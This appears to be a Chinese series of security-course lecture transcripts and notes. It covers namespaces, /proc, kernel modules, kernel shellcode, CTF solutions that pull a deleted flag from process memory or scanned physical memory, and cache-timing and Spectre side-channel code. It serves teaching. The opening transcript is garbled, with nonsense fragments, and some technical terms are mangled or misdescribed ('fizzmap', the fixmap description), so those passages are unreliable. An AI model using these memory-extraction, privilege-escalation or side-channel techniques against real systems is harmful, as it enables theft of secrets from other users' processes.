当我运行unshare命令时,它不会改变文件系统命名空间,就像我仍然可以访问虚拟机拥有的所有东西,但我没有权限打开那些文件。代码仍然是root。是的,所以Twitch的说法是,当我进入用户命名空间时,我调用了unshare,我没有改变底层文件系统的任何东西,那是100%正确的,对吧?挂载命名空间代表文件系统。我想做但没完成的事情是,用挂载命名空间做一些事情,我们在那里挂载了与实际系统不同的东西,非常类似于chroot jail。我没有让它按我们想要的方式工作。但挂载命名空间只是改变了挂载的东西,所以文件系统。在开始时有root,所有附加到root的东西都只是挂载的,它可以在另一个驱动器上,可以是另一个文件夹。就像我在虚拟机内部,我可以调用mount。所以如果我进入/home/hacker。让我们创建一个并称之为,我不知道,clown。我们要sudo mount。root。我想把root绑定到clown。我在clown里看到了。突然,/home/hacker/clown通过了,这不是一个符号链接。它是一个目录,不是符号链接。我没有做我之前做的同样的恶作剧。它不让我cat标志,对吧?我在那里没有获得任何东西。当你查看mount的输出时,我们会看到。在这里的某个地方。嗯。我们已经将/dev/root挂载到/home/hacker/clown。对,所以挂载命名空间所做的就是说,好吧,现在,我挂载的所有东西都只为我,不为别人。所以如果你想改变你的文件系统,你要做的是进入一个新的挂载命名空间,然后挂载所有东西,然后调用那个可怕的pivot_root命令。如果你做对了,你突然就在那里了;如果你做错了,你可以重新安装Ubuntu。对。
但当我有PID命名空间时,或者不是PID,用户命名空间在这里。当我运行像ls -l这样的命令时,谁告诉我这个?因为,是的。就像不是ls二进制文件,实际上,你想在系统上做的几乎所有事情,我想打印东西到屏幕,我想读一个文件,我想与网络通信,我想知道磁盘上有什么,我想知道其他进程在运行。你获得这些信息的唯一方式是询问内核。所以当你允许内核说谎时,你只是SL,这就是命名空间。那个ls的用户是什么?内核知道谁是root用户,对吧?那是一个命名空间。你从我这里还得到了什么?我还有15分钟,我想我们运行了我所有准备好的东西。
/proc文件系统与命名空间交互 🔗
是的,所以我不面对,当我们谈论一些如果让某人访问所有可能发生的漏洞时,我们必须真正共享文件目录。好吧,所以我已经说过了,但我们可以再说一遍。那么/proc是什么?我喜欢proc,但/proc是什么?假文件进程?是的,它是一个假文件系统。如果我们查看mount并grep proc,我们看到proc挂载在/proc上,类型是proc。Proc完全是编造的,对吧?Proc实际上并不存在。这里的一切都没有大小,一切都是零大小。显然,这个是11字节,但一般来说,一切都应该是零大小,因为这些文件实际上不存在于磁盘上的任何地方,对吧?它们只是与内核通信的一种方式。因为我们怎么与内核交谈?我们可以通过系统调用来与内核交谈,对吧?我们每次做系统调用时都在与内核交互。但有时你只是想知道,比如我打开了哪些文件描述符?我可以写一些C程序来触发一些系统调用,内核会告诉我,可能有一些方法可以做到,我不知道。另一种方法是访问这个路径,/proc/self/fds。这些是实际的文件描述符还是只是编造的东西?你认为它们是当前正在运行的那个吗?所以。让我看看。我还有多少时间?看看我是否能制造一些疯狂的事情发生。好吧。所以,我们将包含标准I/O。我们将有一个main。我们要打开,意味着我也需要。这个。和。我想这个,这个家伙。我们要在/home/hacker打开一些文件A。然后我们将从标准输入读入一些不重要的缓冲区。我想要一个字节,因为这真的只是一个占位符。然后我们将调用sendfile,1,FD,0,100。所以我们要打开这个文件,我们将用那个read阻塞一会儿,然后我们将把内容扔出去。希望这个顺序。嗯嗯嗯二呀。如果你实际做的话会有帮助。不,让我们做它。对。好吧。所以我们将运行那个。哦不,窗口变小了。我在虚拟机里,我在虚拟机里。ps aux将grep我们的a.out。我在585有这个坏小子,我想做什么。好吧,我在这里是root。我想exec。8。我想那是proc。让我们清除那个exec a。我要用bash,因为为什么不呢?/proc/585/fd,b。现在,如果我不能proc self fd,我不计数,我们ls它,我应该有。8现在指向那个文件。所以如果我做echo,hello,我们把它写进。8。那会从另一边出来吗?我不认为那个会,因为8指向那个,那没有 exactly 做我想要的。因为当我们在打开时,exec a它没有给出相同的文件描述符。它给了我一个指向相同目的地的符号链接,我试试,但它没有,它没有 exactly 做我想要的。让我看看/proc/self/fd/1。你是对的,它都是活的。它是一个符号链接。真扫兴。那怎么伤害?哦,你已经有一个15指向了。不。想想那里的操作顺序。打开后。喂,你一样。你到豆。好吧,所以我们将删除。我叫这个什么/home/hacker/a?它按我希望的方式工作了,只是不是我预期的。a.out。和。在这一点上。我在这里。我已经打开了。那个东西。我在那里删除了它,所以没有。/home/hacker。系嗯。它没有发生。所以现在我需要ps aux grep。拿出那个。它是什么594?我们做同样的事情,all exec。我们用12进入/proc/594/fd/3。大觉得。你是什么。什么起来我们可能为系统进程保留,只是做exec工作的事情。啲 all top。我在上面做了。F矛盾。应该是8 out哦,sudo,对。现在,我是root。为什么它说ls /proc/594/fd/0,1,2?有趣,好吧,也许我们可以直接打印Fd在场景中,所以我们展示这个。那应该在那里。全部。好吧对。
问题是关于命名空间的。好吧,我不想进入那个兔子洞。但如果我们proc self并询问。我们看那里,这些是,它可能会说Britain。符号链接,不是吗?它是一个符号链接。到这个。这是什么?对,它是某个资源。所以尽管它是一个符号链接,我们可以把它想象成好像我们有文件描述符。所以就像你可以。有吗?我们这里没有得到setns,好吧。让我们不要做文件描述符近似。让我们做一些真实的事情。我在哪里,这是在虚拟机里。那没问题。好吧。
这是它变得疯狂的方式。好吧,我们要进入race。我要进入命名空间。我要运行我的net sh。所以现在这个netcat监听1337在那个网络命名空间内部。你同意吗?所以如果我从这里netcat localhost 1337,那,哦,不清楚。好吧,是的,我有一个sudo,好吧。netcat -l 1337现在我不应该能够到达那里。我必须在连接中。好吧,netcat localhost 1337,它不去任何地方,好吧。现在,如果我改变我的do doc,我设法非常快地读了一个手册页。是的,但nsenter想要像-t键作为进程,对吧?我不想那样做。我想展示我实际上在使用这个在/proc里的东西。要使用那个文件描述符,我需要setns。对于那些不知道的人,你在这个手册页上看到有一行看起来不重要,但实际上很重要。你看到它说#define _GNU_SOURCE的地方了吗?所以你必须在你的程序中放那个,否则你将无法访问它。你可以认为它非常类似于你必须包含的东西,顺序在这里很重要,你正在做的是定义一个预编译器值或变量,你说_GNU_SOURCE存在,这样当头文件被包含时,它将包含这些额外的功能。如果你把_GNU_SOURCE放在头文件之后,你会有问题,如果你不包含它,你会有问题,但要知道那确实意味着什么。我倾向于,所以它将具体取决于,它将取决于它是什么,有些东西需要那个,有些不需要,这就是为什么你读手册页,因为否则你不知道。
好吧,我们将包含#define _GNU_SOURCE,这是它想要的。现在我们要说,离开这里。ps aux grep。Netcat。你看不到它,我遮住了,但我的P这里是10117。我们要打开/proc/10117/ns/net。Cch 1,0,1,1,7, N S, Nat。是的。我只是像。无法阅读像这里发生了什么,哦,你不在虚拟机里。这就是它抓住你的方式,伙计。ls -l /proc/10117/ns/net。是的。你在虚拟机里。你是root。哦,那是因为我弄错了PID。好吧,现在ps aux并grep netcat,我想要的PID实际上是629。好吧,我们要硬编码这个P,629,NS net。我们要打开它,读写。而不是做这个像read废话,我要在这个文件描述符上调用setns。然后它想要这个NS类型。我可能想要。CLONE_NEWNET。你生什么气?对。我改变,我不在乎它改变了,好吧。是的。好吧。然后我想exec。我们要在这里作弊一点。我们将有argc, char *argv[],我们将exec任何是argv[1]向后的东西,argv[1]。我可能需要一些东西给exec,不是吗?不,那是uni标准,好吧。系。我的说法是,我将能够使用这个。我们看看我是否做对了,我将能够调用setns在那个运行进程的文件描述符上,以在我的C代码中加入网络命名空间。所以我使用Proc来进入那个。然后我将只是exec我指定的任何东西,它将像/bin/bash或一个netcat或类似的东西。让我们看看。我们可以硬编码那天。哦,那是个震惊。好吧,我们很好一个netcat,localhost,1337。哦是的,要调用setns,我确实需要是root,我是root,好吧。发生了什么?它有out /bin/bash。我netcat localhost 1337,哦。就在时间紧迫的时候。好吧,所以我不确定为什么我无法在这里写我的小包装器并调用netcat。就像我可能做了,但它没有保持标准输入标准输出一些愚蠢的东西,但当我使用我的小包装器家伙来调用setns在字面上暴露在Proc中的东西上时,对吧?所以。这是我的do.c在这里。这是运行的。我正在访问那个文件描述符。写入那个符号链接,我能够使用那个来改变我的网络命名空间并与这个进程通信。那解释了为什么Proc在这方面很酷吗?它非常类似于早期的C3挑战,你可以通过文件描述符泄漏东西。C3只是设置root。Proc,而且不只是为了记录,proc有更多,你可以用proc做很多很酷的事情,但这是一个立即与命名空间相关的,你可以与Proc暴露的那些文件描述符交互。那里的陷阱是。不。那里的陷阱让很多人困惑的是,你通常想尝试像写入标准输入,就像你想着哦,我要写入pro某个东西的标准输入pro某个东西的fd 0,但因为它是一个伪终端,你会得到你不能只是原始写入它,伪终端有自己的疯狂,这就是为什么我的另一个与文件描述符一起工作的演示让我惊讶,因为我不确定它会工作,确实工作了,但为什么我必须打开那个文件,因为然后我知道我写入的东西是原始文件的文件描述符,而不是指向伪终端的文件描述符。伪终端是疯狂的,如果可以的话避免它们。


总结 📝


在本节课中,我们一起学习了沙盒和命名空间的核心概念。我们探讨了如何使用chroot创建简单的文件系统隔离,以及如何使用命名空间实现更全面的进程隔离(如网络、PID、用户命名空间)。我们还了解了能力(Capabilities)如何提供细粒度的权限控制,这是容器技术(如Docker)的基础。通过演示,我们看到了如何创建网络命名空间,如何使用/proc文件系统与命名空间交互,以及如何利用这些机制。这些知识
23:内核安全

在本节课中,我们将学习内核安全的基础知识。我们将探讨用户空间与内核空间的区别、如何与内核模块交互、以及在内核环境中调试和编写代码的独特挑战。课程内容基于ASU CSE466课程的相关讲座。
概述
内核是操作系统的核心,拥有最高的系统权限。理解内核安全对于理解整个计算机系统的安全性至关重要。本节将介绍内核模块的基本概念、如何通过系统调用与内核交互,以及在内核环境下进行安全研究和漏洞利用的初步方法。
内核与用户空间
上一节我们回顾了竞态条件和沙箱逃逸模块。本节中,我们来看看操作系统的核心——内核。
在计算机系统中,最强大的实体是内核,而不是root用户。内核负责管理所有硬件和软件资源,并强制执行安全策略。即使用户以root身份运行,其权限也由内核授予和限制。
用户程序运行在用户空间(Ring 3),而内核运行在内核空间(Ring 0)。CPU通过特权级别(Rings)来隔离这两个空间,防止用户程序直接执行特权指令或访问受保护的内存区域。
从用户空间切换到内核空间主要通过系统调用实现。例如,当用户程序调用write()函数时,会触发一个软中断,CPU将上下文切换到内核模式,由内核执行实际的写操作,然后将结果和控制权返回给用户程序。

Seccomp(安全计算模式)是一种内核安全机制,用于限制进程可用的系统调用。其工作原理是:在进程执行系统调用(如通过int 0x80或syscall指令)时,内核的异常处理程序会检查该调用是否被允许。如果试图调用被禁止的系统调用,内核会向进程发送一个信号(如SIGKILL)来终止它。关键点在于:Seccomp限制的是从用户空间发起的系统调用。如果代码已经在内核空间执行,Seccomp规则不再适用。


与内核模块交互
理解了内核与用户空间的基本关系后,我们来看看如何与一个具体的内核模块进行交互。
内核模块是可以在运行时加载到内核中的代码,用于扩展内核功能。它们不像普通程序那样有main()入口点,而是通过一系列预定义的函数(如初始化、打开、读写、关闭)与外界交互。





以下是一个与示例内核模块baby_kernel_level4.ko交互的基本步骤:


- 加载模块:首先需要将模块加载到内核中。
使用sudo insmod baby_kernel_level4.kodmesg命令可以查看内核日志,确认模块加载成功及其打印的提示信息。

- 定位交互点:内核模块通常会创建一个设备文件或
proc文件系统条目供用户空间访问。可以使用lsmod查看已加载模块,或检查/proc目录。ls /proc/pony_college/

- 触发模块代码:通过打开设备文件并调用
ioctl函数来触发内核模块中的特定函数(如device_ioctl)。ioctl是一个“瑞士军刀”式的系统调用,其具体行为由传递给它的命令号(cmd)和参数决定。

编写交互代码


以下是使用Python与内核模块进行ioctl交互的两种方法。推荐使用第二种(ctypes)方法,因为第一种方法可能因Python的高级封装而导致非预期的行为。


方法一:使用Python的fcntl.ioctl(可能不可靠)
import fcntl
fd = open(‘/proc/pony_college/device‘, ‘r‘)
# 命令号1337,参数为字符串
fcntl.ioctl(fd, 1337, “hello world“)
方法二:使用ctypes直接调用C库的ioctl(推荐)
from ctypes import *
libc = CDLL(“libc.so.6“)
fd = open(‘/proc/pony_college/device‘, ‘r‘).fileno()
cmd = 1337
buf = create_string_buffer(b“secret_password“)
libc.ioctl(fd, cmd, buf)
在这个例子中,内核模块的device_ioctl函数会使用copy_from_user将用户空间传递的缓冲区内容复制到内核,然后进行字符串比较。我们的目标就是传递正确的字符串。

内核调试技术

当需要深入分析内核模块的行为时,调试变得至关重要。然而,内核调试与用户空间调试有很大不同。
首先,需要在一个受控的虚拟机(VM)环境中进行,因为调试操作可能导致内核崩溃。课程提供了vm_start和vm_connect脚本来启动和连接调试VM。


在内核中,所有用户空间的内存视图都是虚拟的。内核有一个称为fixmap的区域,它连续地映射了物理内存,用于访问具体的物理地址。
调试内核模块的主要挑战包括:
- 符号缺失:内核模块的函数符号默认不在调试器中。需要从
/proc/kallsyms中获取其地址(前提是KASLR内核地址空间布局随机化被禁用)。sudo cat /proc/kallsyms | grep device_ioctl - 设置断点:获得地址后,可以在GDB中设置断点。
break *0xffffffffc1234567 # device_ioctl的地址 - 控制执行流:在内核中,单步执行(
si/ni)需格外小心,因为内核 constantly 在不同进程/线程间进行上下文切换,很容易“跟丢”。更可靠的做法是:- 使用
x/40i $rip反汇编当前指令附近代码。 - 在关键函数(如
copy_from_user)或目标地址设置断点。 - 使用
continue命令运行,触发断点后进行检查。 - 尽量避免长时间单步执行。
- 使用
内核Shellcode的差异


在用户空间,shellcode通常通过系统调用来执行命令(如execve)。在内核空间,情况则完全不同。
主要差异有:
- 没有系统调用:在内核中,你不能使用
syscall或int 0x80指令。相反,你可以直接调用内核中实现该功能的内部函数。例如,要执行命令,可以调用run_cmd这类内核函数。其地址可以从/proc/kallsyms中查找。 - 必须优雅返回:用户空间的
shellcode可以不顾后果地结束。但内核shellcode必须干净地返回到调用者,否则会导致内核崩溃(kernel panic)或系统锁定。你的shellcode在完成工作后,需要恢复栈帧并执行ret指令。 - 权限:内核代码本身就在最高权限下运行,无需提权。




因此,内核shellcode看起来更像一段普通的函数调用链,末尾是妥善的返回。例如,一个调用run_cmd(“/bin/sh“)的shellcode需要:
- 将命令字符串放置到合适位置。
- 将
run_cmd的函数地址放入寄存器(如RAX)。 call rax。- 清理栈并返回。







总结

本节课我们一起学习了内核安全的核心概念。我们理解了用户空间与内核空间的权限隔离,知道了如何通过ioctl与内核模块交互,并掌握了在内核环境中进行调试的基本方法。我们还探讨了内核shellcode与用户空间shellcode的关键区别,即直接调用内核函数和必须优雅返回。


内核安全是一个复杂但至关重要的领域,它为理解整个系统的安全态势奠定了基础。在接下来的模块中,我们将利用这些知识探索更深入的内核漏洞利用技术。
24:内核安全









概述
在本节课中,我们将探讨内核安全相关的概念,特别是通过分析两个具体的挑战(Level 11 和 Level 12)来理解内核漏洞利用的基本原理。我们将学习如何通过进程内存访问、内核数据结构操作以及物理内存映射等技术来获取敏感信息。
挑战分析:Level 11




上一节我们介绍了内核安全的基本背景,本节中我们来看看 Level 11 挑战的具体内容。
该挑战执行以下操作:
- 加载一个标志(flag)文件到内存中。
- 随后删除(unlink)该标志文件。
- 创建一个子进程,该子进程将标志读入内存后进入无限休眠状态。

这意味着,虽然文件本身已被删除,但其内容仍保留在第一个创建的子进程的内存中。

利用原理
由于子进程长期存在并持有标志数据,我们可以通过访问该进程的内存来获取标志。在 Linux 系统中,可以通过 /proc/[pid]/mem 伪文件来访问其他进程的内存。
以下是访问进程内存的核心代码示例:
with open('/proc/166/mem', 'rb') as f:
f.seek(0x404040) # 假设的标志内存地址
data = f.read(40)
print(data)
注意:此操作需要 root 权限。

关键点
- 标志的地址(如
0x404040)可以通过静态分析(如 IDA)获得,前提是二进制文件未启用 PIE(位置无关可执行文件)。 - 无需在每次尝试失败后重启整个虚拟机或挑战,只需确保操作的是第一个(持有原始标志的)子进程。
- 在内核中通过
run_cmd执行脚本时,需使用绝对路径(如/usr/bin/python3.8)以避免环境变量和路径解析问题。


内核数据结构:task_struct

了解了如何从用户空间进程提取数据后,本节我们将深入内核,探索如何定位和操作关键的数据结构。

在内核中,task_struct 结构体代表一个进程或线程,包含其所有信息,如进程ID、凭证(credentials)和文件描述符表。
定位 task_struct
根据讲座内容,task_struct 的指针可以通过 GS 段寄存器加上一个偏移量来获取。在内核函数(如 commit_creds)的汇编中,可以看到类似以下指令:
mov %gs:0x15d00, %r12
这表示将 GS 基址加上偏移量 0x15d00 处的值(即 task_struct 地址)加载到 R12 寄存器。
我们可以通过调试器来验证和计算这些偏移量。


访问 cred 结构
task_struct 中包含一个指向 cred 结构(struct cred)的指针,该结构体存储了进程的权限信息(如 UID, GID)。setuid 等权限标志位也存储在此结构或相关的 thread_info 中。
通过计算 task_struct 基址到 cred 指针的偏移,我们可以在汇编代码中导航并修改这些权限值。
以下是计算偏移的示例思路:
- 获取
task_struct地址(通过 GS 寄存器)。 - 获取
real_cred指针的地址。 - 两者相减得到偏移量。
- 在利用代码中,使用该偏移量来定位并覆盖凭证数据。
这种方法比依赖可能不匹配的编译时常量或编写复杂的 C 模块更为可靠。









挑战升级:Level 12


现在,我们将 Level 11 的概念提升到更高难度。Level 12 的挑战与 Level 11 类似,但关键区别在于:持有标志的子进程在读取标志后会终止。
这意味着我们无法再通过 /proc/[pid]/mem 来访问该进程的用户空间内存。那么,标志数据是否彻底消失了呢?
物理内存映射(Fizzmap)
即使进程终止,其数据所占用的物理内存页可能在一段时间内未被覆盖。Linux 内核提供了一个直接映射区域,称为 fizzmap,它将所有物理内存映射到内核空间的固定虚拟地址范围(例如,起始于 0xffff888800000000)。

因此,理论上我们可以扫描这片映射区域来寻找残留的标志数据。
物理地址与 fizzmap 虚拟地址的转换关系为:
虚拟地址 = FIZZMAP_BASE + 物理地址
挑战与策略
然而,这种方法存在挑战:
- 内存重用:系统可能快速回收并重用物理内存页,导致标志数据被覆盖。
- 搜索效率:扫描全部物理内存效率低下。
我们可以采用更聪明的策略:
- 按页搜索:内存以页(通常 4KB)为单位管理。如果知道标志在虚拟地址中的页内偏移(例如
0x404040 & 0xFFF = 0x040),则只需在物理内存中检查每个页的对应偏移位置,而非每个字节。 - 减少干扰:用 C 语言等能精细控制内存分配的语言编写利用代码,比使用 Python 等高级语言产生更少的内存分配“噪音”,提高搜索成功率。
注意:Level 12 的利用如果失败,通常需要重启整个挑战环境,因为标志文件已被删除且进程已终止。
总结
本节课中我们一起学习了内核安全中两个关键的数据提取技术:
- 通过
/proc/[pid]/mem访问用户进程内存:适用于进程持续运行并持有数据的情况(如 Level 11)。 - 通过 fizzmap 扫描物理内存:适用于进程已终止但数据可能仍残留在物理内存中的情况(如 Level 12)。

我们还深入探讨了如何在内核利用中定位和操作 task_struct 及 cred 数据结构,这是提升权限的关键。理解虚拟内存与物理内存的映射关系,以及内核如何管理进程和内存,对于成功进行内核级漏洞利用至关重要。
25:微架构利用

在本节课中,我们将要学习微架构利用(Microarchitecture Exploitation)的基础知识。这是一种通过观察和利用CPU硬件层面的特性(如缓存)来获取信息的技术,即使软件层面没有直接的通信渠道。我们将从一个有趣的演示开始,逐步理解其核心原理,并学习如何编写代码来实践这种侧信道攻击。

课程概述与回顾
上一周我们结束了内核安全模块的学习。那个模块的核心是利用内核权限或run_cmd等技巧来完成任务。希望你们已经掌握了其中的要点。
现在,我们即将进入本学期最后两个模块之一:微架构利用。很多人对这个话题津津乐道,这也是我们首次在本科课程中引入这个主题,我很好奇你们的反应。
微架构利用简介
微架构利用的核心思想是:通过测量访问内存所需的时间,来推断目标数据是否存在于CPU的高速缓存(Cache)中。由于缓存访问速度远快于主内存访问,这种时间差可以被精确测量并转化为信息泄露。

核心概念:CPU缓存与时间测量
现代CPU为了提升速度,在核心与主内存之间设置了多级高速缓存(L1, L2, L3 Cache)。当CPU需要读取一个内存地址的数据时:
- 它首先检查缓存。
- 如果数据在缓存中(缓存命中),则访问速度极快(通常几个CPU周期)。
- 如果数据不在缓存中(缓存未命中),则需要从主内存加载,速度慢得多(可能上百个周期)。
我们的攻击就是基于测量 步骤2 和 步骤3 之间的时间差。
为了进行高精度计时,我们不能使用像time()这样的库函数,因为它们本身会产生内存访问,干扰测量。我们使用CPU提供的专用指令RDTSC(Read Time-Stamp Counter)来读取时间戳计数器。
代码示例:使用 RDTSC 计时
#include <x86intrin.h>
unsigned long long start, finish;
start = __rdtsc(); // 读取开始时间戳
// ... 执行要测量的操作 ...
finish = __rdtsc(); // 读取结束时间戳
unsigned long long elapsed = finish - start; // 计算经过的周期数
演示:一个“不可能”的通信游戏
为了直观理解,我们先看一个演示。有两个程序:game(游戏)和controller(控制器)。控制器能控制游戏中的角色移动,但查看控制器代码会发现,它从未向共享内存写入任何控制指令,它只是读取内存并测量访问时间。
那么通信是如何发生的?
- 游戏进程会定期访问一组特定的内存地址。
- 控制器进程则尝试读取这组地址,并测量读取每个地址所花的时间。
- 如果控制器发现读取某个地址特别快,说明游戏进程刚刚访问过它(因为数据已被加载到缓存中)。
- 通过这种方式,控制器就能“猜”出游戏进程当前的状态,从而实现控制。
这个演示揭示了微架构侧信道攻击的本质:通过观察缓存状态的变化来推断其他进程的行为。
构建基础的缓存计时攻击
让我们尝试编写一个简单的程序来验证这个想法。我们的目标是:分配一块内存,然后测量读取其中不同位置所需的时间。
以下是构建攻击时需要遵循的要点和示例代码:
代码示例:基础的缓存探测
#include <stdio.h>
#include <x86intrin.h>
#include <stdlib.h>
#define PAGE_SIZE 0x1000 // 4096字节,一页的大小
int main() {
// 1. 分配内存,确保探测点间隔足够远(如一页),以避免CPU预取器干扰
char *mem = malloc(PAGE_SIZE * 10);
if (!mem) return 1;
// 2. 我们选择探测第7个页面(索引6)的起始处
int secret_index = 6;
char *target = mem + (secret_index * PAGE_SIZE);
// 3. 首先,清空我们关心的地址的缓存行
_mm_clflush(target);
// 4. 进行多次测量,取平均值以减少噪声
int trials = 100;
unsigned long long total_time = 0;
for (int i = 0; i < trials; i++) {
// 使用内存屏障确保指令顺序执行
_mm_lfence();
unsigned long long start = __rdtsc();
_mm_lfence();
// 访问目标内存地址
volatile char value = *target;
_mm_lfence();
unsigned long long finish = __rdtsc();
_mm_lfence();
total_time += (finish - start);
// 每次试验后都清空缓存,确保下次测量是从主存加载
_mm_clflush(target);
// 也可以加入一些随机延迟,避免规律性被CPU优化预测
for (int j = 0; j < 100; j++) {}
}
unsigned long long avg_time = total_time / trials;
printf("Average time to access target: %llu cycles\n", avg_time);
// 5. 解释结果:如果avg_time较低(例如<100周期),可能表明在测量间隙有其他进程访问了target
// 如果avg_time一直很高(例如>200周期),则表明没有缓存命中。
free(mem);
return 0;
}
关键点解释:
_mm_clflush(): 该指令将指定地址的数据从所有级别的缓存中驱逐出去。这是攻击的关键,它让我们能控制缓存的状态。_mm_lfence(): 这是一个“加载屏障”指令。它确保在此屏障之前的所有加载操作都完成后,才执行之后的指令。这防止了CPU乱序执行对计时造成干扰。- 页面间隔:将探测的内存地址设置为至少一页(4096字节) apart,是为了避免CPU的硬件预取器(Prefetcher)自动将相邻内存加载到缓存,从而干扰我们的测量。
- 多次测量:由于系统噪声(其他进程、中断等),单次测量不可靠。需要多次测量并分析统计结果(如平均值、中位数)。
课程挑战框架解析
本模块的实践挑战采用了一个特殊的框架。挑战程序会动态地将一块共享内存注入到你编写的攻击程序中,并提供一个信号量用于同步。
以下是攻击程序的基本框架:
代码示例:挑战程序交互框架
#include <stdio.h>
#include <x86intrin.h>
#include <sys/sem.h> // 用于信号量操作
// 共享内存基地址(由挑战说明给出)
#define SHARED_MEM_BASE 0x13370000
// 根据挑战说明,共享内存的布局可能是:
// 地址 SHARED_MEM_BASE: 一个信号量 (sem_t)
// 地址 SHARED_MEM_BASE + sizeof(sem_t): 一个整数索引 (int)
// 地址 SHARED_MEM_BASE + 0x1000: 挑战程序写入计时结果的位置
int main() {
// 1. 将共享内存地址强制转换为指针
char *shared_base_ptr = (char *)SHARED_MEM_BASE;
// 2. 获取信号量指针
sem_t *semaphore = (sem_t *)shared_base_ptr;
// 3. 获取索引指针
int *index_ptr = (int *)(shared_base_ptr + sizeof(sem_t));
// 4. 获取结果存储区指针(假设在基地址+0x1000处)
unsigned long long *result_ptr = (unsigned long long *)(shared_base_ptr + 0x1000);
// 5. 攻击循环
for (int i = 0; i < 100; i++) {
// a) 使用信号量等待,直到挑战程序准备好
sem_wait(semaphore);
// b) 执行我们的缓存计时攻击,探测 *index_ptr 指向的地址
// ... (此处填入类似上一节的探测代码) ...
// 假设我们测得了时间差 time_diff
// c) 根据时间差判断缓存命中与否,从而推测出索引值或秘密信息
// if (time_diff < THRESHOLD) { /* 缓存命中,说明挑战程序访问了某个特定地址 */ }
// else { /* 缓存未命中 */ }
// d) 通知挑战程序我们已完成一轮,让它继续下一轮
sem_post(semaphore);
}
// 6. 读取挑战程序写入的结果并打印
printf("Result from challenge: %llu\n", *result_ptr);
return 0;
}



框架工作流程:
- 内存映射:你的攻击程序通过硬编码地址直接访问挑战程序注入的共享内存。
- 同步:通过信号量(
sem_wait/sem_post)与挑战程序进行步调同步,确保你的测量与其内部操作对齐。 - 探测:在同步点之间,你对共享内存中的特定地址(如
index_ptr指向的地址)执行缓存计时攻击。 - 推断:根据测量到的时间是长是短,推断出挑战程序在同步期间访问了哪个秘密地址,从而逐步泄露信息。


前几个挑战会引导你熟悉这个框架和基本的缓存计时技术。后续挑战会引入更复杂的概念,如乱序执行和推测执行(Spectre攻击的基础),这将允许你利用CPU的预测机制来访问本不该被访问的数据。
总结与建议
本节课我们一起学习了微架构侧信道攻击的基本原理。我们了解到:
- 核心原理:通过精确测量内存访问时间,推断数据是否存在于CPU缓存中,从而泄露其他进程的信息。
- 关键工具:使用
RDTSC进行高精度计时,使用_mm_clflush控制缓存状态,使用_mm_lfence保证指令顺序。 - 攻击框架:本模块的挑战通过共享内存和信号量提供了一个标准的攻击靶场。
- 编写建议:强烈建议使用C语言编写攻击代码,以减少不必要的内存访问和复杂性干扰测量结果。
给初学者的建议:
- 从简单开始:先理解并运行课程提供的演示代码,确保你能观察到缓存命中与未命中的时间差异。
- 耐心调试:微架构攻击对环境非常敏感(系统负载、CPU型号等)。结果可能有波动,需要多次试验和设置合理的阈值。
- 利用资源:仔细观看课程预告的视频,阅读相关的
man页面(如sem_wait),并在Discord上积极讨论。 - 注意时机:这类攻击在系统负载低的时候更容易成功。


微架构利用是一个深入硬件细节的领域,它揭示了现代计算机性能优化背后所隐藏的安全风险。希望你们在接下来的两周里,能享受解谜的乐趣,并深入理解软件与硬件交互的这一隐秘层面。
26:微架构利用
概述

在本节课中,我们将深入探讨微架构利用的核心概念,特别是缓存侧信道攻击和推测执行攻击(如Spectre)。我们将从基本的时序测量和缓存利用开始,逐步过渡到更复杂的推测执行场景,并讨论如何设计可靠的攻击代码以及处理时序数据的策略。

微架构利用的核心概念
上一节我们介绍了微架构利用的基本背景,本节中我们来看看构成这个模块的三个核心概念。
以下是三个相互关联但又有所区别的微架构利用概念:
- 缓存时序侧信道:这是我们在周二讨论的概念。它不涉及推测执行,纯粹是利用缓存作为一致的侧信道。通过精心编写的代码测量访问时间,可以推断出系统的状态信息。其核心在于,如果受害者进程访问了共享内存的某个位置,该位置会被加载到CPU缓存中,攻击者随后测量访问同一区域的时间,更快的访问时间表明该位置最近被访问过。
- 核心代码逻辑:
// 攻击者代码:刷新缓存并测量访问时间 _mm_clflush(shared_memory_base + i * PAGE_SIZE); // 刷新缓存 // 触发受害者访问(例如通过信号量) sem_post(&sync_sem); // 测量访问时间 start = __rdtsc(); temp = *(shared_memory_base + i * PAGE_SIZE); end = __rdtsc(); time_taken = end - start;
- 核心代码逻辑:
- 预取器优化与预取指令:这是一个与缓存无关的完全不同的侧信道。CPU的预取器会尝试优化代码,例如优化循环访问模式。此外,
prefetch指令允许程序请求CPU提前获取一个虚拟内存地址。通过测量执行该指令的时间,可以推断该虚拟地址是否已映射到物理内存。 - Spectre攻击:这结合了缓存侧信道和推测执行。CPU在执行条件分支(尤其是涉及慢速操作如浮点计算时)时会进行推测执行。攻击者可以“训练”分支预测器,使其错误地推测执行本不应执行的代码路径(例如,访问越界内存)。尽管推测执行的结果最终会被丢弃,但它对缓存状态的影响会保留下来,从而通过缓存侧信道泄露信息。
缓存侧信道攻击原理详解

理解了核心概念后,我们来看看一个典型缓存侧信道攻击的具体数据流和原理。



攻击的目标是泄露一个秘密值(例如标志flag的一个字节)。受害者程序会使用这个秘密字节作为索引,去访问一个双方共享的内存区域(称为access_buffer)。
攻击流程如下:
- 攻击者准备:攻击者首先刷新整个
access_buffer在缓存中的内容,确保缓存处于已知的干净状态。 - 触发受害者:攻击者通过同步机制(如信号量)触发受害者程序执行。受害者程序使用秘密字节
flag[i]作为索引,访问access_buffer[flag[i]],这将把对应的内存页加载到CPU缓存中。 - 攻击者探测:攻击者遍历
access_buffer的每一个可能索引(例如0-255),并精确测量访问每个元素所需的时间。 - 信息推断:访问时间显著更短的那个索引,对应的内存页就在缓存中,从而泄露了
flag[i]的值就是该索引。
关键点:
- 信号量仅用于同步操作顺序(先刷新,后触发访问,再测量),其本身不包含要泄露的数据。
- 共享内存区域(
access_buffer)的内容无关紧要,攻击者关心的是其访问模式。 - 攻击的成功依赖于精确的时序测量和可靠的同步。

推测执行与Spectre V1

现在我们从静态的缓存侧信道进入动态的推测执行世界。本节中我们来看看Spectre V1攻击是如何利用分支预测的。
在第五关的代码中,存在一个条件分支:
if (unlikely((float)index / (float)257 > 1.0)) {
// 此代码块在正常情况下不应执行,因为它要求 index > 257
// 而flag索引有效范围是0到某个较小值
access(shared_memory_base + (index * PAGE_SIZE));
}
unlikely宏是一个给编译器的提示(现代CPU可能忽略),暗示该分支不太可能发生。- 使用浮点除法是因为它是一个相对较慢的操作,给了CPU足够的时间在结果计算完成前进行推测执行。

攻击步骤:



- 训练分支预测器:攻击者多次以合法的、满足条件(
